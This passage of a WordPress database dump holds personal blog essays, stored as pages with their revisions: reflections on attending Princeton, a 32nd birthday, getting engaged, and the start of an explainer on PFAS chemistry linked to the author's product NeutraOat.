class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!YnLI!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb21d9d3b-daea-4f22-8185-bb4eb5f9dea4_432x548.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!YnLI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb21d9d3b-daea-4f22-8185-bb4eb5f9dea4_432x548.jpeg\" alt=\"Princeton Students. 1960s | Preppy boys, Ivy league style, Preppy men\" title=\"Princeton Students. 1960s | Preppy boys, Ivy league style, Preppy men\"/></a><figcaption class=\"wp-element-caption\">The actual number of “breathlessly aristocratic” (to use Fitzgerald’s phrase) people at Princeton is limited. The vast majority of kids are anxious strivers. The campus still looks like this, though.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But most of Princeton had forgotten even that. Princeton suffered from the same metastasis as the rest of academia, as a growing research program and even more rapidly growing administration took energy away from the cultivation of undergraduates. My experience with Princeton faculty was mostly that of neglect, and with administration, active antagonism.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My classmates, by contrast, were neither neglectful nor antagonistic. Most of them cared, a lot, about good grades on the weekdays and getting drunk on the weekends. I was the exception, in that I cared about neither of those. I didn’t see the point of getting good grades in classes I didn’t care about: I had done that in high school, and look where that had landed me (Princeton). I also didn’t particularly want to get drunk and play beer pong: I had seen alcohol and drugs consume my friends in high school, and I didn’t like it then, either.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Combine this with my naturally rebellious personality, which, believe it or not, has softened over time, and I was a bad fit at Princeton. I had some friends, for sure, and even a professor or two who liked me. But I also pissed off a lot of people. A short list:<br><br>1. The dance community, by making it clear that I considered myself to be a better dancer and choreographer than them and also having zero interest in ingratiating myself</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. The charity/volunteer community, by campaigning to measure the efficacy of their efforts</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. My junior paper advisor, by first refusing to listen to his advice on my research, and then, when my research turned out well, refusing to let him get authorship on a paper</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. My senior thesis advisor, by refusing to listen to his advice on my research. There’s no second part to this, because this one didn’t turn out so well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>By the time I graduated Princeton, I had run into every metaphorical wall that existed at Princeton. I had pissed off or been pissed off by the extracurricular community, the study abroad community, the research community, and the magazine writing community (failed coup, don’t ask). Part of this was me: I was an angry young man. But part of this was me being an intellectual radical in a place that wasn’t friendly towards intellectuals or radicals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!Ly2q!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F996fb5b3-d16a-4913-8953-886bfe85991e_1062x991.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!Ly2q!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F996fb5b3-d16a-4913-8953-886bfe85991e_1062x991.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">This is from my humor magazine’s parody of our student daily newspaper, the Daily Princetonian in my sophomore year. I also had two other pieces in the fake newspaper, both pieces making fun of the Daily Princetonian’s house style so probably even less funny than this one. Also, that’s a picture of me, but for some reason we insisted on using fake names.&nbsp;<a href=\"https://issuu.com/tigermagazine/docs/tigerprincetonian2013\">Link if you want to read the whole thing</a>.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>I was unable to think about Princeton for a long time afterwards without strong feelings of anger and disappointment. Even when catching up with old Princeton friends, I would still bitch about Princeton during our reminiscences. It’s only recently that I’ve been able to remember Princeton without a tinge of regret, even if it’s just for a moment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let me take advantage of that now. I can safely say that who I am today was shaped by my college experience. College was the first time I was ever around people who weren’t middle class white people from Connecticut or Rhode Island for an extended period of time. It was also the first time I failed an exam, the first time I had a bad breakup, and the first time I flew on a plane by myself.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>College taught me to work hard, and to find the joy in it. It also taught me the limits of my abilities, what it was like to be a small fish in a big pond, and how it felt to deliberately forge an identity without your representation preceding you. I met classmates with famous last names and professors who were regularly quoted in the&nbsp;<em>New York Times</em>, and found I didn’t have much in common with any of them. I had a best friend, several girlfriends, and nobody who I could call a mentor of any sort.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>College gave me space and time away from the place of my upbringing and the people who raised me, and a chance to reexamine how my early years shaped me. I realized ways in which I was very lucky, and ways in which I wasn’t. I felt sometimes grateful and sometimes sorry for myself, and had to learn to live with both.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the end, if I knew what I knew now, would I attend Princeton all over again? Definitely not. There were schools and places that would have been a way better fit for me. But I did go to Princeton, from 2011-2015, and it defined who I am today in many ways. And now it’s been 10 years, and I’m going back.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/10-years-out-from-princeton-and-headed#footnote-anchor-1-164117938\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although&nbsp;<a href=\"https://quoteinvestigator.com/2025/04/02/early-tell/\">the exact history of the quote is disputed</a>.</p>\n<!-- /wp:paragraph -->','10 years out from Princeton and headed back','','inherit','closed','closed','','532-revision-v1','','','2025-07-03 19:46:41','2025-07-03 19:46:41','',532,'https://trevorklee.com/?p=533',0,'revision','',0),
(534,1,'2025-07-03 19:47:26','2025-07-03 19:47:26','<!-- wp:paragraph -->\n<p>It’s my 32nd birthday tomorrow, the last power of two birthday I’ll have for a while (32 years, in fact). I don’t think there’s much else that’s special about being 32: it’s firmly into my early 30s, one year before my Jesus birthday. I think I can say about a third of my life has been done so far. Half would be very pessimistic, and a quarter would be putting me as the oldest person who’s ever lived (yet).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I wrote a birthday post&nbsp;<a href=\"https://trevorklee.com/birthday-dreams/\">last year</a>&nbsp;which was sentimental, reflecting on suddenly feeling old. Those emotions are more foreign to me now. I still feel old, for sure, but I also have a much stronger sense of anxiety about the future. The world a year ago seemed predictable, which is why I felt safe to engage in my favorite vice of treacly nostalgia.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!r0GT!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb0044113-47db-4a45-87f2-89c0d7f41c08_1536x1024.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!r0GT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb0044113-47db-4a45-87f2-89c0d7f41c08_1536x1024.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">Image made with AI, of course, far better than anything I could ever draw.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Now the world is much less predictable. I don’t feel confident in where I’ll be in 6 months, how much money I’ll have, what my partner will be doing, or how I’ll be doing my work. I no longer know how to relate to the country that I’ve lived in almost all my life. How I interact with the science, the entrepreneurship, and the philosophy that I love is mediated so much through AI now that it feels equally dizzying. Sometimes I don’t know if I’m using it as a tool to help me think or as a tool to replace thinking. Worse yet, I’m not always confident the latter produces worse results than the former.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My girlfriend and I are now very much serious with each other. We’ve met each others’ friends and family and speak often of the family that we’ll make together. I worry about her future, too (there are those words again, “worry” and “future”). She’s made herself home in my apartment, setting up a desk in my adjunct room and a dining table with proper chairs, driving my clothes dresser to the closet and my round coffee table and bankers’ chairs to the street.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>She goes for runs with my dog on the river, who seems to appreciate it but still hasn’t learned to pace himself. He sprints ahead of her, jumps in the water to annoy the geese, gets worried when he loses track of her after she jogs slightly ahead of his swim path, and then sprints again to catch up with her. He usually makes it about a mile before he’s exhausted.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We do the New York Times Connections every day and discuss science and the world. I try to explain to her that, normally, the US President isn’t trying to demolish Harvard or openly taking crypto bribes, but I think she still doesn’t entirely get how weird it is. Politics where she comes from have been a lot crazier for a lot longer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I see my friends less than I did a year ago, although I’m still within walking distance of a few. My college friends are all having kids, now, which I was reminded of when I went back to Princeton a week or so ago. So are my siblings. My Boston friends aren’t, for the most part. They seem to be heading towards DINK lifestyles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I think I understand more now how the adults in my life when I was a kid became who they were. Life, as an adult, is about waves and currents. The waves are unpredictable and crash into you from behind. You can ride them or you can be swamped by them, depending on how you swim. The currents drag you across the sand, rounding your edges and dulling your sharpness. They’re predictable, but invisible, and you don’t notice them until you’re already caught in them. Barring a serious effort or a rogue wave, they deposit you right where they’ve deposited everyone else.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The adults who I grew up with had mostly been carried there by currents. That’s how you end up in Waterford, Connecticut, in the 90s and 2000s. It wasn’t a bad place to end up in, though, and the waves that crosscut the current were pretty kind, right up until the financial tsunami of 2008. Then a lot of Connecticutians found out they never learned how to swim in rough waters.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But look at me, getting lost in the past again. 2025 is no time for that. We’re plunging headlong into the future. I’m swimming fiercely and looking for an island of normalcy in this Waterworld (I’ve heard contemporary references help ground an essay for my audience).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hello, 32. Bring it on.</p>\n<!-- /wp:paragraph -->','32nd birthday dreams of Waterworld','','publish','closed','closed','','32nd-birthday-dreams-of-waterworld','','','2025-07-03 19:47:26','2025-07-03 19:47:26','',0,'https://trevorklee.com/?page_id=534',0,'page','',0),
(535,1,'2025-07-03 19:47:26','2025-07-03 19:47:26','<!-- wp:paragraph -->\n<p>It’s my 32nd birthday tomorrow, the last power of two birthday I’ll have for a while (32 years, in fact). I don’t think there’s much else that’s special about being 32: it’s firmly into my early 30s, one year before my Jesus birthday. I think I can say about a third of my life has been done so far. Half would be very pessimistic, and a quarter would be putting me as the oldest person who’s ever lived (yet).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I wrote a birthday post&nbsp;<a href=\"https://trevorklee.com/birthday-dreams/\">last year</a>&nbsp;which was sentimental, reflecting on suddenly feeling old. Those emotions are more foreign to me now. I still feel old, for sure, but I also have a much stronger sense of anxiety about the future. The world a year ago seemed predictable, which is why I felt safe to engage in my favorite vice of treacly nostalgia.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!r0GT!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb0044113-47db-4a45-87f2-89c0d7f41c08_1536x1024.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!r0GT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb0044113-47db-4a45-87f2-89c0d7f41c08_1536x1024.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">Image made with AI, of course, far better than anything I could ever draw.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Now the world is much less predictable. I don’t feel confident in where I’ll be in 6 months, how much money I’ll have, what my partner will be doing, or how I’ll be doing my work. I no longer know how to relate to the country that I’ve lived in almost all my life. How I interact with the science, the entrepreneurship, and the philosophy that I love is mediated so much through AI now that it feels equally dizzying. Sometimes I don’t know if I’m using it as a tool to help me think or as a tool to replace thinking. Worse yet, I’m not always confident the latter produces worse results than the former.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My girlfriend and I are now very much serious with each other. We’ve met each others’ friends and family and speak often of the family that we’ll make together. I worry about her future, too (there are those words again, “worry” and “future”). She’s made herself home in my apartment, setting up a desk in my adjunct room and a dining table with proper chairs, driving my clothes dresser to the closet and my round coffee table and bankers’ chairs to the street.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>She goes for runs with my dog on the river, who seems to appreciate it but still hasn’t learned to pace himself. He sprints ahead of her, jumps in the water to annoy the geese, gets worried when he loses track of her after she jogs slightly ahead of his swim path, and then sprints again to catch up with her. He usually makes it about a mile before he’s exhausted.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We do the New York Times Connections every day and discuss science and the world. I try to explain to her that, normally, the US President isn’t trying to demolish Harvard or openly taking crypto bribes, but I think she still doesn’t entirely get how weird it is. Politics where she comes from have been a lot crazier for a lot longer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I see my friends less than I did a year ago, although I’m still within walking distance of a few. My college friends are all having kids, now, which I was reminded of when I went back to Princeton a week or so ago. So are my siblings. My Boston friends aren’t, for the most part. They seem to be heading towards DINK lifestyles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I think I understand more now how the adults in my life when I was a kid became who they were. Life, as an adult, is about waves and currents. The waves are unpredictable and crash into you from behind. You can ride them or you can be swamped by them, depending on how you swim. The currents drag you across the sand, rounding your edges and dulling your sharpness. They’re predictable, but invisible, and you don’t notice them until you’re already caught in them. Barring a serious effort or a rogue wave, they deposit you right where they’ve deposited everyone else.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The adults who I grew up with had mostly been carried there by currents. That’s how you end up in Waterford, Connecticut, in the 90s and 2000s. It wasn’t a bad place to end up in, though, and the waves that crosscut the current were pretty kind, right up until the financial tsunami of 2008. Then a lot of Connecticutians found out they never learned how to swim in rough waters.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But look at me, getting lost in the past again. 2025 is no time for that. We’re plunging headlong into the future. I’m swimming fiercely and looking for an island of normalcy in this Waterworld (I’ve heard contemporary references help ground an essay for my audience).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hello, 32. Bring it on.</p>\n<!-- /wp:paragraph -->','32nd birthday dreams of Waterworld','','inherit','closed','closed','','534-revision-v1','','','2025-07-03 19:47:26','2025-07-03 19:47:26','',534,'https://trevorklee.com/?p=535',0,'revision','',0),
(536,1,'2025-07-03 19:48:06','2025-07-03 19:48:06','<!-- wp:paragraph -->\n<p>I got engaged last weekend. My girlfriend, now fiancee, proposed to me in a beautiful park near our home. I took the same ring she proposed to me with, got down on one knee, and proposed back to her. I was, and am, incredibly happy with this turn of events. But that’s not what this blog post is about.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m writing this blog post as a justification for why I want to get married to my girlfriend in the first place. I could talk endlessly about her good qualities as to why I want to get married to her specifically, but she’d get annoyed at me for doing so and I fear I’d spark jealousy among my readers. So let me talk more broadly about why I want to get married in general.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!nHf0!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feaeade28-3e08-45ac-bde8-077570f7075a_3024x2347.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!nHf0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feaeade28-3e08-45ac-bde8-077570f7075a_3024x2347.jpeg\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">If you are interested in the details of this photo, I’d recommend this short article:&nbsp;<a href=\"https://mydiamondring.com/en/article/50096\">Engagement Ring: Which Hand?</a></figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Marriage has been left in a peculiar cultural circumstance, recently. Most of the good things that people associate with marriage, like free sex, companionship, or financial support from a spouse can be obtained nowadays from hookups, dating, or sugar babying. The cultural stigma against being unmarried has largely disappeared, too. Most of my friends are not married and probably won’t get married anytime soon, regardless of whether they are in long-term relationships or not. My fiancee and I will be in the minority among our friend groups when we do get married.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only concrete benefit that marriage holds is legal recognition of our bond, which is nice, but, to be honest, if that was the only reason to get married, we’d just wait until it was absolutely necessary and then do a quick courthouse marriage. Instead, we’re going to do the whole wedding, party, public vows thing. But why?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, I can’t speak for her. But I can speak for myself. Marriage, to me, is an ultimate closing of optionality. Millennials, my generation, are famously the generation of options. We never wanted to close any doors. We wanted to live forever in the hallway of eternity, gazing into each possible life, perhaps stepping a toe in, but never committing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then we got older and we found that the doors started closing behind us. Some of those were just the same doors that closed for almost everyone, regardless of their generation. If you aren’t a star gymnast by 15, you’re not going to be in the Olympics. If you didn’t dye your hair black when you were 15 in 2008, you can’t be emo (I still have regrets about this).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some of those were doors that closed for just our generation and the ones after us. No doctor my age will ever get to run a private practice at the same age my mom did, because the regulations are too onerous now. No person in this age will ever get to live totally off-grid, given that even the most remote places on Earth are getting Internet now.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So all of us are in this hallway of eternity, and there are doors closing behind us, and we gaze in the long hallway in front of us with still open doors. And we can, of course, keep walking faster and faster, hoping to outpace the closing of the doors. We still have time to flit in and out of doorways, but we’re so conscious that the longer we tarry in any room the more doors close around us. And, like musical chairs, as doors close suddenly you’re not choosing rooms. You’re just scrambling to go in whatever room is left.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t want to live my life like that. I don’t want to feel like I’m simply tarrying in a room, biding time. I don’t want to be forced into a room (like singledom) that I didn’t actively choose. And, most of all, I don’t want to be in a room where I’ve left the door cracked open, where I still haven’t fully committed, because I want the possibility of leaving at any time. Even if I never leave, I’ll still hear snatches of music and conversation from outside, tempting me to check out another room and another life.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Marriage, to me, is about choosing the room carefully, shutting the door, and deciding that this is how you will live your life. My fiancee is wonderful, and I think we will build a wonderful life together. I want to build that life with as much confidence, stability, and focus as I can, and not worry about other lives that I could lead. And that’s why I want to be joined with her in the bonds of marriage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I love you, K.</p>\n<!-- /wp:paragraph -->','E is for Engaged','','publish','closed','closed','','e-is-for-engaged','','','2025-07-03 19:48:06','2025-07-03 19:48:06','',0,'https://trevorklee.com/?page_id=536',0,'page','',0),
(537,1,'2025-07-03 19:48:06','2025-07-03 19:48:06','<!-- wp:paragraph -->\n<p>I got engaged last weekend. My girlfriend, now fiancee, proposed to me in a beautiful park near our home. I took the same ring she proposed to me with, got down on one knee, and proposed back to her. I was, and am, incredibly happy with this turn of events. But that’s not what this blog post is about.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m writing this blog post as a justification for why I want to get married to my girlfriend in the first place. I could talk endlessly about her good qualities as to why I want to get married to her specifically, but she’d get annoyed at me for doing so and I fear I’d spark jealousy among my readers. So let me talk more broadly about why I want to get married in general.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!nHf0!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feaeade28-3e08-45ac-bde8-077570f7075a_3024x2347.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!nHf0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feaeade28-3e08-45ac-bde8-077570f7075a_3024x2347.jpeg\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">If you are interested in the details of this photo, I’d recommend this short article:&nbsp;<a href=\"https://mydiamondring.com/en/article/50096\">Engagement Ring: Which Hand?</a></figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Marriage has been left in a peculiar cultural circumstance, recently. Most of the good things that people associate with marriage, like free sex, companionship, or financial support from a spouse can be obtained nowadays from hookups, dating, or sugar babying. The cultural stigma against being unmarried has largely disappeared, too. Most of my friends are not married and probably won’t get married anytime soon, regardless of whether they are in long-term relationships or not. My fiancee and I will be in the minority among our friend groups when we do get married.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only concrete benefit that marriage holds is legal recognition of our bond, which is nice, but, to be honest, if that was the only reason to get married, we’d just wait until it was absolutely necessary and then do a quick courthouse marriage. Instead, we’re going to do the whole wedding, party, public vows thing. But why?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, I can’t speak for her. But I can speak for myself. Marriage, to me, is an ultimate closing of optionality. Millennials, my generation, are famously the generation of options. We never wanted to close any doors. We wanted to live forever in the hallway of eternity, gazing into each possible life, perhaps stepping a toe in, but never committing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then we got older and we found that the doors started closing behind us. Some of those were just the same doors that closed for almost everyone, regardless of their generation. If you aren’t a star gymnast by 15, you’re not going to be in the Olympics. If you didn’t dye your hair black when you were 15 in 2008, you can’t be emo (I still have regrets about this).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some of those were doors that closed for just our generation and the ones after us. No doctor my age will ever get to run a private practice at the same age my mom did, because the regulations are too onerous now. No person in this age will ever get to live totally off-grid, given that even the most remote places on Earth are getting Internet now.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So all of us are in this hallway of eternity, and there are doors closing behind us, and we gaze in the long hallway in front of us with still open doors. And we can, of course, keep walking faster and faster, hoping to outpace the closing of the doors. We still have time to flit in and out of doorways, but we’re so conscious that the longer we tarry in any room the more doors close around us. And, like musical chairs, as doors close suddenly you’re not choosing rooms. You’re just scrambling to go in whatever room is left.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t want to live my life like that. I don’t want to feel like I’m simply tarrying in a room, biding time. I don’t want to be forced into a room (like singledom) that I didn’t actively choose. And, most of all, I don’t want to be in a room where I’ve left the door cracked open, where I still haven’t fully committed, because I want the possibility of leaving at any time. Even if I never leave, I’ll still hear snatches of music and conversation from outside, tempting me to check out another room and another life.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Marriage, to me, is about choosing the room carefully, shutting the door, and deciding that this is how you will live your life. My fiancee is wonderful, and I think we will build a wonderful life together. I want to build that life with as much confidence, stability, and focus as I can, and not worry about other lives that I could lead. And that’s why I want to be joined with her in the bonds of marriage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I love you, K.</p>\n<!-- /wp:paragraph -->','E is for Engaged','','inherit','closed','closed','','536-revision-v1','','','2025-07-03 19:48:06','2025-07-03 19:48:06','',536,'https://trevorklee.com/?p=537',0,'revision','',0),
(538,1,'2025-07-03 19:48:57','2025-07-03 19:48:57','<!-- wp:paragraph -->\n<p>Let’s talk about “forever chemicals”, or PFAS. Most of my messaging around NeutraOat has been around its effects on plasticizers and BPA, but NeutraOat works generally to bind any small hydrophobic molecules, PFAS included. The public messaging around the distinctions between microplastics, plasticizers, and PFAS has been muddled, to say the least, which is why I haven’t talked about this side of NeutraOat before (see diagrams throughout this blogpost for a quick breakdown on the chemical differences). But, maybe it’s time to start.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2\" href=\"https://substackcdn.com/image/fetch/$s_!CLiQ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa488cca4-08ca-474d-8e17-d093ba39ad55_387x232.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!CLiQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa488cca4-08ca-474d-8e17-d093ba39ad55_387x232.png\" alt=\"Most Common Types of PFAS\" title=\"Most Common Types of PFAS\"/></a><figcaption class=\"wp-element-caption\">PFAS chemical structure with its incredibly strong fluorine-carbon bonds. If you remember chemistry class, fluorine is way in the top right of the periodic table, so it holds its electrons very tightly. This makes PFAS useful for not reacting to anything.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Let’s start with what PFAS are. PFAS are per- and polyfluoroalkyl substances. If we break that compound word down, we get a reasonable idea of the general PFAS structure. They contain fluorine connected to alkyl groups. Alkyl groups are hydrocarbon groups that have replaced their hydrogens with something else. In PFAS, either all (per-) or many (poly-) of the hydrogens have been replaced by fluorine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This carbon-fluorine bond is hydrophobic and incredibly strong, because the carbon is fully shielded and not polarizable. Chaining these fluoroalkyl groups together gives a very strong, hydrophobic backbone. Chemists then often attach different polar heads or side chains to the backbone to create different effects, such as water solubility.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The first PFAS developed was Teflon back in the 30s. It was the simplest possible PFAS, in that it was purely composed of a perfluoroalkyl backbone. This made it incredibly hydrophobic, temperature stable, and slippery (no Van der Waals forces). Teflon only had limited use in specific industrial context until a couple entrepreneurs figured out that it made for a great coating for kitchen pans, making them “non stick”. Then production skyrocketed. Nowadays, it’s actually most commonly used as an insulator, exploiting its greedy tendency to refuse to share its electrons with current passing by, which is the same tendency that makes it so slippery.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Following the invention of Teflon, many, many different types of PFAS were invented. As it turns out, a coating or substance that is very stable, hydrophobic, non-reactive, and a great thermal and electrical insulator is useful for all sorts of things. It’s useful for making waterproof fabric, mobile phone screens, firefighting foams, tampon applicators, and lipstick, with slight chemical changes needed depending on the specific application. For example, shorter chain PFAS are more water soluble, so are more useful when you don’t want your PFAS to last quite as long<a href=\"https://trevorklee.substack.com/p/the-chemical-reason-that-pfas-are#footnote-1-166090230\">1</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!7xLV!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f8b5947-a528-4090-9c97-55b456c71a5d_800x600.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!7xLV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4f8b5947-a528-4090-9c97-55b456c71a5d_800x600.jpeg\" alt=\"Polyethylene (PE) - What It Is, Properties, Types and Uses\" title=\"Polyethylene (PE) - What It Is, Properties, Types and Uses\"/></a><figcaption class=\"wp-element-caption\">Polyethylene chemical structure. This is the most common type of plastic (and probably microplastic). You can find it in your plastic cups or plastic bags. The carbon hydrogen bonds are weaker than carbon-fluorine bonds, although the regular, repetitive structure still makes for a very chemically stable molecule, and it’s easy to make it into a large plastic bag.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>All of this is great for your standard 50s housewife, who can cook with her Teflon pan, look good for her husband in her Nylon stockings, impress the gals at the beauty counter with her waterproof liquid lipstick, and then avoid any unsightly spotting on her white 